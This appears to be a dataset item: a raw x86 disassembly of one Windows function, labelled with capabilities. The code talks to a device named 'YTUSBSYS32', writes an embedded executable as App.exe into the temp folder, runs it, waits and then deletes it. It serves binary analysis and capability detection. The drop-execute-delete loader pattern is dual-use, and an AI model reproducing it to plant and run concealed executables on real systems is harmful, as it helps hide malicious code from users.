Function at 0x4028a0
Capabilities:
Create process on windows
Create thread
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x67c
lea eax, [esp + 0x24]
lea edx, [esp + 0x578]
lea ecx, [esp + 0x3b0]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00401c30
test eax, eax
je 0x402d52
mov ecx, dword [0x40d0e4]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call ebp
mov ecx, 0x72
lea esi, [esp + 0x3c0]
mov edi, 0x40c808
lea edx, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
push 0x1c8
xor ebx, ebx
mov al, 0xe
push edx
mov edx, 0x64
mov ecx, 0x40c808
mov byte [esp + 0x18], 4
mov byte [esp + 0x19], 8
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0xc8
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x18
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], al
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x22
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x90
mov byte [esp + 0x29], 0x66
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0xe8
mov byte [esp + 0x2d], 2
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
call fcn.00402f00
mov edx, dword [0x40d300]
lea ecx, [esp + 0x3c0]
mov eax, dword [esp + 0x34]
push eax
call fcn.00402d80
cmp byte [esp + 0x3c0], bl
je 0x4029ca
lea ecx, [esp + 0x50]
push ecx
push ebx
push ebx
push 0x401980
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebp
lea edx, [esp + 0x2bc]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x2bc]
push 0x5c
push eax
call fcn.00403300
add esp, 8
cmp eax, ebx
je 0x402cdb
mov byte [eax], bl
or ecx, 0xffffffff
lea edi, [esp + 0x2bc]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x98]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x98]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.App.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1b8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40b8f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1b8]
push ecx
call fcn.004089d6
add esp, 4
call fcn.00402570
test eax, eax
je 0x402b72
lea ecx, [esp + 0x30]
call fcn.00402710
test eax, eax
jne 0x402ab2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x67c
ret
push 0x80
push 0x40d0e8
lea edx, [esp + 0x1c0]
push 0xffffffffffffffff
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x40d0e8
call fcn.00403511
mov word [0x40d168], ax
lea edi, [esp + 0x1bc]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40d1f0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1b8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x30]
not ecx
dec ecx
cmp eax, 0xffffffff
mov word [0x40d230], cx
je 0x402b72
lea ecx, [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push ecx
push ebx
push ebx
push 0x82
push 0x40d0e8
push 0x220007
push eax
call esi
lea edx, [esp + 0x48]
mov eax, dword [esp + 0x30]
push ebx
push edx
push ebx
push ebx
push 0x42
push 0x40d1f0
push 0x22000b
push eax
call esi
mov edx, str.YTUSBSYS32
mov ecx, dword [esp + 0x30]
call fcn.00401120
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 0x80
push 2
push ebx
push ebx
lea ecx, [esp + 0xac]
push 0xc0000000
push ecx
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x402c59
lea edx, [esp + 0x98]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x98]
or ecx, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x97], 0x5c
je 0x402bf9
mov edi, 0x40b8c8
or ecx, esi
xor eax, eax
lea edx, [esp + 0x98]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1b8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x98]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
mov ecx, edx
push 2
push ebx
and ecx, 3
push ebx
lea eax, [esp + 0xac]
push 0xc0000000
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x402c59
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x67c
ret
mov edx, dword [esp + 0x34]
mov eax, dword [0x40d300]
lea ecx, [esp + 0x4c]
push ebx
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x54]
lea edx, [esp + 0x38]
rep stosd dword es:[edi], eax
xor ecx, ecx
lea eax, [esp + 0x54]
mov dword [esp + 0x38], ecx
push edx
push eax
mov dword [esp + 0x44], ecx
push ebx
push ebx
mov dword [esp + 0x50], ecx
push ebx
push ebx
mov dword [esp + 0x5c], ecx
push ebx
push ebx
lea ecx, [esp + 0xb8]
push 0x40c9d8
push ecx
mov dword [esp + 0x7c], 0x44
mov word [esp + 0xac], bx
mov dword [esp + 0xa8], 0x80
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402ce8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x67c
ret
mov edx, dword [esp + 0x40]
mov dword [0x40c9d0], edx
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
lea eax, [esp + 0x19c]
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov ecx, dword [esp + 0x38]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x38]
push edx
call esi
mov eax, dword [esp + 0x3c]
push eax
call esi
lea ecx, [esp + 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x67c
ret
push 0x10
push str.Error
push str.Cant_load_Exe_from_Res_
push 0